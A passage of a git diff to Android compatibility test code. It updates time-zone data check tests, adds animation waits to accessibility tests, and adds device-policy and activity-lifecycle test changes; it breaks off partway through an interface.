d624bd54df060b534c62c07b8cf8b70b126b8f58 [<a href="/platform/cts/+/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">file</a>] [<a href="/platform/cts/+log/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">log</a>] [<a href="/platform/cts/+blame/android-cts-8.0_r14/hostsidetests/theme/assets/26/400dpi.zip">blame</a>]</div><div class="FileContents-binary">8615086-byte binary file</div></div> <!-- Container --></div> <!-- Site-content --><footer class="Site-footer"><div class="Footer"><span class="Footer-poweredBy">Powered by <a href="https://gerrit.googlesource.com/gitiles/">Gitiles</a>| <a href="https://policies.google.com/privacy">Privacy</a></span><span class="Footer-formats"><a class="u-monospace Footer-formatsItem" href="?format=TEXT">txt</a> <a class="u-monospace Footer-formatsItem" href="?format=JSON">json</a></span></div></footer></body></html>
\ No newline at end of file
diff --git a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
index f1cb7b9..9610db1 100644
--- a/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
+++ b/hostsidetests/tzdata/src/com/android/cts/tzdata/TzDataCheckTest.java
@@ -16,11 +16,16 @@
package com.android.cts.tzdata;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
+import static org.junit.Assert.assertArrayEquals;
+
+import libcore.timezone.TzDataSetVersion;
+import libcore.timezone.testing.ZoneInfoTestHelper;
+
import com.android.timezone.distro.DistroVersion;
import com.android.timezone.distro.TimeZoneDistro;
import com.android.timezone.distro.builder.TimeZoneDistroBuilder;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.DeviceTestCase;
import java.io.File;
import java.io.FileOutputStream;
@@ -32,11 +37,6 @@
import java.util.StringJoiner;
import java.util.function.Consumer;
-import libcore.timezone.TzDataSetVersion;
-import libcore.timezone.testing.ZoneInfoTestHelper;
-
-import static org.junit.Assert.assertArrayEquals;
-
/**
* Tests for the tzdatacheck binary.
*
@@ -58,15 +58,15 @@
/**
* The name of the directory containing the current time zone rules data beneath
- * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
- * tzdatacheck.cpp.
+ * {@link #mDataDir}. Also known to {@link
+ * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
*/
private static final String CURRENT_DIR_NAME = "current";
/**
* The name of the directory containing the staged time zone rules data beneath
- * {@link #mDataDir}. Also known to {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and
- * tzdatacheck.cpp.
+ * {@link #mDataDir}. Also known to {@link
+ * com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
*/
private static final String STAGED_DIR_NAME = "staged";
@@ -78,10 +78,9 @@
private static final String UNINSTALL_TOMBSTONE_FILE_NAME = "STAGED_UNINSTALL_TOMBSTONE";
/**
- * The name of the /system time zone data file. Also known to
- * {@link com.android.timezone.distro.installer.TimeZoneDistroInstaller} and tzdatacheck.cpp.
+ * The name of the /system time zone data file. Also known to tzdatacheck.cpp.
*/
- private static final String SYSTEM_TZDATA_FILE_NAME = "tzdata";
+ private static final String SYSTEM_TZ_VERSION_FILE_NAME = "tz_version";
/** A valid time zone rules version guaranteed to be older than {@link #RULES_VERSION_TWO} */
private static final String RULES_VERSION_ONE = "2016g";
@@ -137,6 +136,16 @@
super.tearDown();
}
+ /**
+ * Test the real /system files exist in the expected locations - tzcdatacheck relies on some of
+ * them.
+ */
+ public void testExpectedSystemFilesExist() throws Exception {
+ assertDeviceFileExists("/system/usr/share/zoneinfo/tz_version");
+ assertDeviceFileExists("/system/usr/share/zoneinfo/tzdata");
+ assertDeviceFileExists("/system/usr/share/zoneinfo/tzlookup.xml");
+ }
+
public void testTooFewArgs() throws Exception {
// No need to set up or push files to the device for this test.
assertEquals(1, runTzDataCheckWithArgs(new String[0]));
@@ -146,7 +155,7 @@
// {dataDir}/staged exists but it is a file.
public void testStaging_stagingDirIsFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
@@ -169,7 +178,7 @@
// {dataDir}/staged exists but /current dir is a file.
public void testStaging_uninstall_currentDirIsFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
@@ -195,7 +204,7 @@
// {dataDir}/staged contains an uninstall, but there is nothing to uninstall.
public void testStaging_uninstall_noCurrent() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -220,7 +229,7 @@
// {dataDir}/staged contains an uninstall, and there is something to uninstall.
public void testStaging_uninstall_withCurrent() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
@@ -248,7 +257,7 @@
// {dataDir}/staged exists but /current dir is a file.
public void testStaging_install_currentDirIsFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
@@ -276,7 +285,7 @@
// {dataDir}/staged contains an install, but there is nothing to replace.
public void testStaging_install_noCurrent() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -302,7 +311,7 @@
// {dataDir}/staged contains an install, and there is something to replace.
public void testStaging_install_withCurrent() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
DistroVersion currentDistroVersion = new DistroVersion(
TzDataSetVersion.currentFormatMajorVersion(), 1, VALID_RULES_VERSION, 1);
@@ -343,11 +352,11 @@
// an invalid distro is handled the same.
public void testStaging_install_withCurrent_invalidStaged() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
- // Create a staged uninstall which contains invalid.
+ // Create a staged uninstall which contains invalid files (missing distro version).
PathPair dataStagedDir = mDataDir.createSubPath(STAGED_DIR_NAME);
byte[] stagedDistroBytes = createValidDistroBuilder()
.clearVersionForTests()
@@ -374,7 +383,7 @@
// No {dataDir}/current exists.
public void testNoCurrentDataDir() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Deliberately not creating anything on host in the data dir here, leaving the empty
// structure.
@@ -389,7 +398,7 @@
// {dataDir}/current exists but it is a file.
public void testCurrentDataDirIsFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -411,7 +420,7 @@
// {dataDir}/current exists but is missing the distro version file.
public void testMissingDataDirDistroVersionFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -433,7 +442,7 @@
// {dataDir}/current exists but the distro version file is short.
public void testShortDataDirDistroVersionFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -457,7 +466,7 @@
// {dataDir}/current exists and the distro version file is long enough, but contains junk.
public void testCorruptDistroVersionFile() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -485,7 +494,7 @@
// {dataDir}/current exists but the distro version is incorrect.
public void testInvalidMajorDistroVersion_older() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -509,7 +518,7 @@
// {dataDir}/current exists but the distro version is incorrect.
public void testInvalidMajorDistroVersion_newer() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -535,7 +544,7 @@
// {dataDir}/current exists but the distro version is incorrect.
public void testInvalidMinorDistroVersion_older() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -562,7 +571,7 @@
// be backwards compatible).
public void testValidMinorDistroVersion_newer() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(VALID_RULES_VERSION);
+ createSystemTzVersionFileOnHost(VALID_RULES_VERSION);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -585,8 +594,8 @@
assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
}
- // {dataDir}/current is valid but the tzdata file in /system is missing.
- public void testSystemTzDataFileMissing() throws Exception {
+ // {dataDir}/current is valid but the tz_version file in /system is missing.
+ public void testSystemTzVersionFileMissing() throws Exception {
// Deliberately not writing anything in /system here.
// Set up the /data directory structure on host.
@@ -604,11 +613,11 @@
assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
}
- // {dataDir}/current is valid but the tzdata file in /system has an invalid header.
- public void testSystemTzDataFileCorrupt() throws Exception {
+ // {dataDir}/current is valid but the tz_version file in /system is junk.
+ public void testSystemTzVersionFileCorrupt() throws Exception {
// Set up the /system directory structure on host.
byte[] invalidTzDataBytes = new byte[20];
- Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), invalidTzDataBytes);
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -625,10 +634,10 @@
assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
}
- // {dataDir}/current is valid and the tzdata file in /system is older.
+ // {dataDir}/current is valid and the tz_version file in /system is for older data.
public void testSystemTzRulesOlder() throws Exception {
// Set up the /system directory structure on host.
- createSystemTzDataFileOnHost(RULES_VERSION_ONE);
+ createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -653,17 +662,20 @@
assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
}
- // {dataDir}/current is valid and the tzdata file in /system is the same (and should be kept).
- public void testSystemTzDataSame() throws Exception {
+ // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
+ // kept.
+ public void testSystemTzVersionSame() throws Exception {
// Set up the /system directory structure on host.
final String systemRulesVersion = VALID_RULES_VERSION;
- createSystemTzDataFileOnHost(systemRulesVersion);
+ createSystemTzVersionFileOnHost(systemRulesVersion);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
DistroVersion distroVersion = new DistroVersion(
TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(), systemRulesVersion, VALID_REVISION);
+ TzDataSetVersion.currentFormatMinorVersion(),
+ systemRulesVersion,
+ VALID_REVISION);
byte[] distroBytes = createValidDistroBuilder()
.setDistroVersion(distroVersion)
.setTzDataFile(createValidTzDataBytes(systemRulesVersion))
@@ -681,10 +693,10 @@
}
// {dataDir}/current is valid and the tzdata file in /system is the newer.
- public void testSystemTzDataNewer() throws Exception {
+ public void testSystemTzVersionNewer() throws Exception {
// Set up the /system directory structure on host.
String systemRulesVersion = RULES_VERSION_TWO;
- createSystemTzDataFileOnHost(systemRulesVersion);
+ createSystemTzVersionFileOnHost(systemRulesVersion);
// Set up the /data directory structure on host.
PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
@@ -711,9 +723,9 @@
assertDevicePathDoesNotExist(dataCurrentDir);
}
- private void createSystemTzDataFileOnHost(String systemRulesVersion) throws IOException {
- byte[] systemTzData = createValidTzDataBytes(systemRulesVersion);
- Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZDATA_FILE_NAME), systemTzData);
+ private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
+ byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
+ Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
}
private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
@@ -749,6 +761,15 @@
.build();
}
+ private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
+ return new TzDataSetVersion(
+ TzDataSetVersion.currentFormatMajorVersion(),
+ TzDataSetVersion.currentFormatMinorVersion(),
+ rulesVersion,
+ VALID_REVISION)
+ .toBytes();
+ }
+
private int runTzDataCheckOnDevice() throws Exception {
return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
}
@@ -908,8 +929,12 @@
}
}
+ private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
+ assertTrue(getDevice().doesFileExist(s));
+ }
+
private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
- assertTrue(getDevice().doesFileExist(path.devicePath));
+ assertDeviceFileExists(path.devicePath);
}
private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
diff --git a/libs/input/src/com/android/input/HidDevice.java b/libs/input/src/com/android/input/HidDevice.java
index 46cbb8c..173531a 100644
--- a/libs/input/src/com/android/input/HidDevice.java
+++ b/libs/input/src/com/android/input/HidDevice.java
@@ -22,6 +22,7 @@
import android.app.UiAutomation;
import android.hardware.input.InputManager;
import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
import org.json.JSONArray;
import org.json.JSONException;
@@ -84,6 +85,10 @@
throw new RuntimeException(
"Unexpectedly interrupted while waiting for device added notification.");
}
+ // Even though the device has been added, it still may not be ready to process the events
+ // right away. This seems to be a kernel bug.
+ // Add a small delay here to ensure device is "ready".
+ SystemClock.sleep(500);
}
/**
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
index 6ed5457..f263d24 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityEndToEndTest.java
@@ -840,6 +840,8 @@
@Test
public void testTouchDelegateWithEbtBetweenView_ReHoverDelegate_FocusTargetAgain()
throws Throwable {
+ mActivity.waitForEnterAnimationComplete();
+
final Resources resources = sInstrumentation.getTargetContext().getResources();
final String buttonResourceName = resources.getResourceName(R.id.button);
final Button button = mActivity.findViewById(R.id.button);
@@ -902,6 +904,8 @@
@Test
public void testTouchDelegateCoverParentWithEbt_HoverChildAndBack_FocusTargetAgain()
throws Throwable {
+ mActivity.waitForEnterAnimationComplete();
+
final int touchableSize = 48;
final Resources resources = sInstrumentation.getTargetContext().getResources();
final String targetResourceName = resources.getResourceName(R.id.buttonDelegated);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index cdd109c..3814125 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -112,6 +112,8 @@
return;
}
+ getActivity().waitForEnterAnimationComplete();
+
mHasMultiTouch = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN_MULTITOUCH)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
index 49be337..a078e2c 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/activities/AccessibilityTestActivity.java
@@ -19,6 +19,12 @@
import android.view.WindowManager;
public abstract class AccessibilityTestActivity extends Activity {
+ boolean mEnterAnimationComplete = false;
+
+ public void onStop() {
+ super.onStop();
+ mEnterAnimationComplete = false;
+ }
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -28,4 +34,22 @@
| WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
| WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
}
+
+ @Override
+ public void onEnterAnimationComplete() {
+ synchronized (this) {
+ mEnterAnimationComplete = true;
+ notifyAll();
+ }
+ }
+
+ public void waitForEnterAnimationComplete() {
+ synchronized(this) {
+ if (mEnterAnimationComplete == false) {
+ try {
+ wait(5000);
+ } catch (InterruptedException e) {}
+ }
+ }
+ }
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index d3733f9..3fbccc7 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -41,8 +41,10 @@
import android.view.accessibility.AccessibilityNodeInfo;
import android.view.accessibility.AccessibilityWindowInfo;
+import com.android.compatibility.common.util.TestUtils;
+
import java.util.List;
-import java.util.concurrent.TimeoutException;
+import java.util.function.BooleanSupplier;
/**
* Utilities useful when launching an activity to make sure it's all the way on the screen
@@ -119,11 +121,13 @@
wakeUpOrBust(context, uiAutomation);
if (isHomeScreenShowing(context, uiAutomation)) return;
try {
- uiAutomation.executeAndWaitForEvent(
+ executeAndWaitOn(
+ uiAutomation,
() -> uiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME),
- (event) -> isHomeScreenShowing(context, uiAutomation),
- DEFAULT_TIMEOUT_MS);
- } catch (TimeoutException te) {
+ () -> isHomeScreenShowing(context, uiAutomation),
+ DEFAULT_TIMEOUT_MS,
+ "home screen");
+ } catch (AssertionError error) {
Log.e(LOG_TAG, "Timed out looking for home screen. Dumping window list");
final List<AccessibilityWindowInfo> windows = uiAutomation.getWindows();
if (windows == null) {
@@ -192,4 +196,29 @@
} while (SystemClock.uptimeMillis() < deadlineUptimeMillis);
fail("Unable to wake up screen");
}
+
+ /**
+ * Executes a command and waits for a specified condition up to a given wait timeout. It checks
+ * condition result each time when events delivered, and throws exception if the condition
+ * result is not {@code true} within the given timeout.
+ */
+ private static void executeAndWaitOn(UiAutomation uiAutomation, Runnable command,
+ BooleanSupplier condition, long timeoutMillis, String conditionName) {
+ final Object waitObject = new Object();
+ final long executionStartTimeMillis = SystemClock.uptimeMillis();
+ try {
+ uiAutomation.setOnAccessibilityEventListener((event) -> {
+ if (event.getEventTime() < executionStartTimeMillis) {
+ return;
+ }
+ synchronized (waitObject) {
+ waitObject.notifyAll();
+ }
+ });
+ command.run();
+ TestUtils.waitOn(waitObject, condition, timeoutMillis, conditionName);
+ } finally {
+ uiAutomation.setOnAccessibilityEventListener(null);
+ }
+ }
}
diff --git a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
index 8c9b0c1..ad1fd91 100644
--- a/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
+++ b/tests/admin/src/android/admin/cts/DevicePolicyManagerTest.java
@@ -1050,4 +1050,30 @@
assertThrows(SecurityException.class,
() -> mDevicePolicyManager.setStorageEncryption(notAdmin, false));
}
+
+ public void testCrossProfileCalendar_failIfNotProfileOwner() {
+ final String TEST_PACKAGE_NAME = "test.package.name";
+ if (!mDeviceAdmin) {
+ Log.w(TAG, "Skipping testCrossProfileCalendar_failIfNotProfileOwner");
+ return;
+ }
+ try {
+ mDevicePolicyManager.addCrossProfileCalendarPackage(mComponent, TEST_PACKAGE_NAME);
+ fail("addCrossProfileCalendarPackage did not throw expected SecurityException");
+ } catch (SecurityException e) {
+ assertProfileOwnerMessage(e.getMessage());
+ }
+ try {
+ mDevicePolicyManager.removeCrossProfileCalendarPackage(mComponent, TEST_PACKAGE_NAME);
+ fail("removeCrossProfileCalendarPackage did not throw expected SecurityException");
+ } catch (SecurityException e) {
+ assertProfileOwnerMessage(e.getMessage());
+ }
+ try {
+ mDevicePolicyManager.getCrossProfileCalendarPackages(mComponent);
+ fail("getCrossProfileCalendarPackages did not throw expected SecurityException");
+ } catch (SecurityException e) {
+ assertProfileOwnerMessage(e.getMessage());
+ }
+ }
}
diff --git a/tests/app/Android.mk b/tests/app/Android.mk
index 52dcb69..6e30b28 100644
--- a/tests/app/Android.mk
+++ b/tests/app/Android.mk
@@ -34,7 +34,8 @@
android-support-test \
platform-test-annotations \
cts-amwm-util \
- android-support-test
+ android-support-test \
+ platformprotosnano
LOCAL_SRC_FILES := \
$(call all-java-files-under, src)
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 70415e2..fe35eec 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -44,6 +44,7 @@
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
<uses-permission android:name="android.permission.SET_WALLPAPER" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+ <uses-permission android:name="android.permission.USE_FULL_SCREEN_INTENT" />
<application android:label="Android TestCase"
android:icon="@drawable/size_48x48"
diff --git a/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java b/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
index 06cfff3..38f0b52 100644
--- a/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
+++ b/tests/app/app/src/android/app/stubs/ActivityCallbacksTestActivity.java
@@ -18,6 +18,7 @@
import android.annotation.Nullable;
import android.app.Activity;
+import android.app.Application;
import android.os.Bundle;
import android.util.Pair;
@@ -53,11 +54,115 @@
public enum Source {
ACTIVITY,
- ACTIVITY_CALLBACK
+ ACTIVITY_CALLBACK,
+ APPLICATION_ACTIVITY_CALLBACK
}
+ private final Application.ActivityLifecycleCallbacks mActivityCallbacks;
+
private ArrayList<Pair<Source, Event>> mCollectedEvents = new ArrayList<>();
+ public ActivityCallbacksTestActivity() {
+ mActivityCallbacks = new Application.ActivityLifecycleCallbacks() {
+
+ @Override
+ public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_CREATE);
+ }
+
+ @Override
+ public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_CREATE);
+ }
+
+ @Override
+ public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_CREATE);
+ }
+
+ @Override
+ public void onActivityPreStarted(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_START);
+ }
+
+ @Override
+ public void onActivityStarted(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_START);
+ }
+
+ @Override
+ public void onActivityPostStarted(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_START);
+ }
+
+ @Override
+ public void onActivityPreResumed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_RESUME);
+ }
+
+ @Override
+ public void onActivityResumed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_RESUME);
+ }
+
+ @Override
+ public void onActivityPostResumed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_RESUME);
+ }
+
+ @Override
+ public void onActivityPrePaused(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_PAUSE);
+ }
+
+ @Override
+ public void onActivityPaused(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PAUSE);
+ }
+
+ @Override
+ public void onActivityPostPaused(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_PAUSE);
+ }
+
+ @Override
+ public void onActivityPreStopped(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_STOP);
+ }
+
+ @Override
+ public void onActivityStopped(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_STOP);
+ }
+
+ @Override
+ public void onActivityPostStopped(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_STOP);
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+
+ }
+
+ @Override
+ public void onActivityPreDestroyed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_PRE_DESTROY);
+ }
+
+ @Override
+ public void onActivityDestroyed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_DESTROY);
+ }
+
+ @Override
+ public void onActivityPostDestroyed(Activity activity) {
+ collectEvent(Source.ACTIVITY_CALLBACK, Event.ON_POST_DESTROY);
+ }
+ };
+ registerActivityLifecycleCallbacks(mActivityCallbacks);
+ }
+
public void collectEvent(Source source, Event event) {
mCollectedEvents.add(new Pair<>(source, event));
}
diff --git a/tests/app/app/src/android/app/stubs/ActivityTestsBase.java b/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
index 12463b4..abdd91a 100644
--- a/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
+++ b/tests/app/app/src/android/app/stubs/ActivityTestsBase.java
@@ -38,6 +38,7 @@
private boolean mFinished;
private int mResultCode = 0;
private Intent mData;
+ private Activity mActivity;
private RuntimeException mResultStack = null;
@Override
@@ -84,8 +85,12 @@
}
}
+ public void activityRunning(Activity activity) {
+ finishWithActivity(activity);
+ }
+
public void activityFinished(int resultCode, Intent data, RuntimeException where) {
- finishWithResult(resultCode, data, where);
+ finishWithResult(resultCode, data, null, where);
}
public Intent editIntent() {
@@ -110,16 +115,25 @@
finishWithResult(Activity.RESULT_CANCELED, new Intent().setAction(error));
}
+ public void finishWithActivity(Activity activity) {
+ final RuntimeException where = new RuntimeException("Original error was here");
+ where.fillInStackTrace();
+ finishWithResult(Activity.RESULT_OK, null, activity, where);
+
+ }
+
public void finishWithResult(int resultCode, Intent data) {
final RuntimeException where = new RuntimeException("Original error was here");
where.fillInStackTrace();
- finishWithResult(resultCode, data, where);
+ finishWithResult(resultCode, data, null, where);
}
- public void finishWithResult(int resultCode, Intent data, RuntimeException where) {
+ public void finishWithResult(int resultCode, Intent data, Activity activity,
+ RuntimeException where) {
synchronized (this) {
mResultCode = resultCode;
mData = data;
+ mActivity = activity;
mResultStack = where;
mFinished = true;
notifyAll();
@@ -204,6 +218,10 @@
return mResultStack;
}
+ public Activity getRunningActivity() {
+ return mActivity;
+ }
+
public void onTimeout() {
final String msg = mExpecting == null ? "Timeout" : "Timeout while expecting " + mExpecting;
finishWithResult(Activity.RESULT_CANCELED, new Intent().setAction(msg));
diff --git a/tests/app/app/src/android/app/stubs/LaunchpadActivity.java b/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
index 16b1363..33650e9 100644
--- a/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
+++ b/tests/app/app/src/android/app/stubs/LaunchpadActivity.java
@@ -67,15 +67,17 @@
public class LaunchpadActivity extends Activity {
public interface CallingTest extends PerformanceTestCase.Intermediates {
- public void startTiming(boolean realTime);
+ void startTiming(boolean realTime);
- public void addIntermediate(String name);
+ void addIntermediate(String name);
- public void addIntermediate(String name, long timeInNS);
+ void addIntermediate(String name, long timeInNS);
- public void finishTiming(boolean realTime);
+ void finishTiming(boolean realTime);
- public void activityFinished(int resultCode, Intent data, RuntimeException where);
